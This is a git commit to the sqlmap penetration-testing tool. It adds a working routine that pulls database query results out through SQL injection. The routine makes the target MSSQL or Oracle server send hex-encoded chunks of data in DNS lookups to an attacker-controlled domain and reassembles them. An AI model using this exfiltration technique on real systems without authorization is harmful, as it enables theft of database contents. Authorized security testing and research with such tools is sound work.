further update of DNS data retrieval mechanism through SQLi

This commit is contained in:
Miroslav Stampar 2012-04-02 14:05:30 +00:00
parent 1e01203562
commit 1cd3c3f7af
6 changed files with 112 additions and 16 deletions

View File

@ -261,7 +261,7 @@ class Agent:
if 'hex' in rootQuery:
hexField = rootQuery.hex.query % field
else:
warnMsg = "switch '--hex' is currently not supported on DBMS '%s'" % Backend.getIdentifiedDbms()
warnMsg = "switch '--hex' is currently not supported on DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
return hexField

View File

@ -1613,7 +1613,7 @@ def getSPLSnippet(dbms, name, **variables):
for _ in variables.keys():
retVal = re.sub(r"%%%s%%" % _, variables[_], retVal)
_ = re.search(r"%([^%]+)%", retVal, re.I)
_ = re.search(r"%(\w+)%", retVal, re.I)
if _:
errMsg = "unresolved variable '%s' in SPL snippet '%s'" % (_.group(1), name)
raise sqlmapGenericException, errMsg

View File

@ -1437,6 +1437,7 @@ def __setKnowledgeBaseAttributes(flushAll=True):
kb.delayCandidates = TIME_DELAY_CANDIDATES * [0]
kb.dep = None
kb.dnsMode = False
kb.docRoot = None
kb.dumpMode = False
kb.dynamicMarkings = []

View File

@ -472,3 +472,6 @@ MAX_SINGLE_URL_REDIRECTIONS = 4
# Maximum total number of redirections (regardless of URL) - before assuming we're in a loop
MAX_TOTAL_REDIRECTIONS = 10
# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
MAX_DNS_LABEL = 63

View File

@ -48,29 +48,36 @@ from lib.core.threads import getCurrentThreadData
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
from lib.request.direct import direct
from lib.techniques.union.use import unionUse
from lib.techniques.blind.inference import bisection
from lib.techniques.dns.use import dnsUse
from lib.techniques.error.use import errorUse
from lib.techniques.union.use import unionUse
from lib.utils.resume import queryOutputLength
from lib.utils.resume import resume
def __goInference(payload, expression, charsetType=None, firstChar=None, lastChar=None, dump=False):
start = time.time()
value = None
count = 0
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
if conf.dnsDomain:
value = dnsUse(payload, expression)
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
_, length, _ = queryOutputLength(expression, payload)
else:
length = None
if value is None:
timeBasedCompare = (kb.technique in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED))
kb.inferenceMode = True
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
kb.inferenceMode = False
if (conf.eta or conf.threads > 1) and Backend.getIdentifiedDbms() and not timeBasedCompare:
_, length, _ = queryOutputLength(expression, payload)
else:
length = None
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
kb.inferenceMode = True
count, value = bisection(payload, expression, length, charsetType, firstChar, lastChar, dump)
kb.inferenceMode = False
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
return value

View File

@ -7,10 +7,95 @@ Copyright (c) 2006-2012 sqlmap developers (http://www.sqlmap.org/)
See the file 'doc/COPYING' for copying permission
"""
def dnsUse(expression, expected=None, dump=False):
import re
import time
from lib.core.agent import agent
from lib.core.common import Backend
from lib.core.common import calculateDeltaSeconds
from lib.core.common import dataToStdout
from lib.core.common import decodeHexValue
from lib.core.common import extractRegexResult
from lib.core.common import getSPLSnippet
from lib.core.common import hashDBRetrieve
from lib.core.common import hashDBWrite
from lib.core.common import randomInt
from lib.core.common import randomStr
from lib.core.common import safecharencode
from lib.core.common import safeStringFormat
from lib.core.common import singleTimeWarnMessage
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import queries
from lib.core.enums import DBMS
from lib.core.settings import MAX_DNS_LABEL
from lib.core.settings import PARTIAL_VALUE_MARKER
from lib.core.unescaper import unescaper
from lib.request.connect import Connect as Request
def dnsUse(payload, expression):
"""
Retrieve the output of a SQL query taking advantage of the DNS
resolution mechanism by making request back to attacker's machine.
"""
raise NotImplementedError
start = time.time()
retVal = None
count = 0
offset = 1
if conf.dnsDomain and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.ORACLE):
output = hashDBRetrieve(expression, checkConf=True)
if PARTIAL_VALUE_MARKER in output:
output = None
if output is None:
kb.dnsMode = True
while True:
count += 1
prefix, suffix = ("%s" % randomStr(3) for _ in xrange(2))
chunk_length = MAX_DNS_LABEL / 2
_, _, _, _, _, _, fieldToCastStr, _ = agent.getFields(expression)
nulledCastedField = agent.nullAndCastField(fieldToCastStr)
nulledCastedField = queries[Backend.getIdentifiedDbms()].substring.query % (nulledCastedField, offset, chunk_length)
nulledCastedField = agent.hexConvertField(nulledCastedField)
expressionReplaced = expression.replace(fieldToCastStr, nulledCastedField, 1)
expressionRequest = getSPLSnippet(Backend.getIdentifiedDbms(), "dns_request", PREFIX=prefix, QUERY=expressionReplaced, SUFFIX=suffix, DOMAIN=conf.dnsDomain)
expressionUnescaped = unescaper.unescape(expressionRequest)
forgedPayload = safeStringFormat(payload, (expressionUnescaped, randomInt(1), randomInt(3)))
Request.queryPage(forgedPayload, content=False, raise404=False)
_ = conf.dnsServer.pop(prefix, suffix)
if _:
_ = extractRegexResult("%s\.(?P<result>.+)\.%s" % (prefix, suffix), _, re.I)
_ = decodeHexValue(_)
output = (output or "") + _
offset += len(_)
if len(_) < chunk_length:
break
else:
break
kb.dnsMode = False
if output is not None:
retVal = output
dataToStdout("[%s] [INFO] %s: %s\r\n" % (time.strftime("%X"), "retrieved" if count > 0 else "resumed", safecharencode(output)))
hashDBWrite(expression, output)
if not kb.bruteMode:
debugMsg = "performed %d queries in %d seconds" % (count, calculateDeltaSeconds(start))
logger.debug(debugMsg)
elif conf.dnsDomain:
warnMsg = "DNS data exfiltration method through SQL injection "
warnMsg += "is currently not available for DBMS %s" % Backend.getIdentifiedDbms()
singleTimeWarnMessage(warnMsg)
conf.dnsDomain = None
return retVal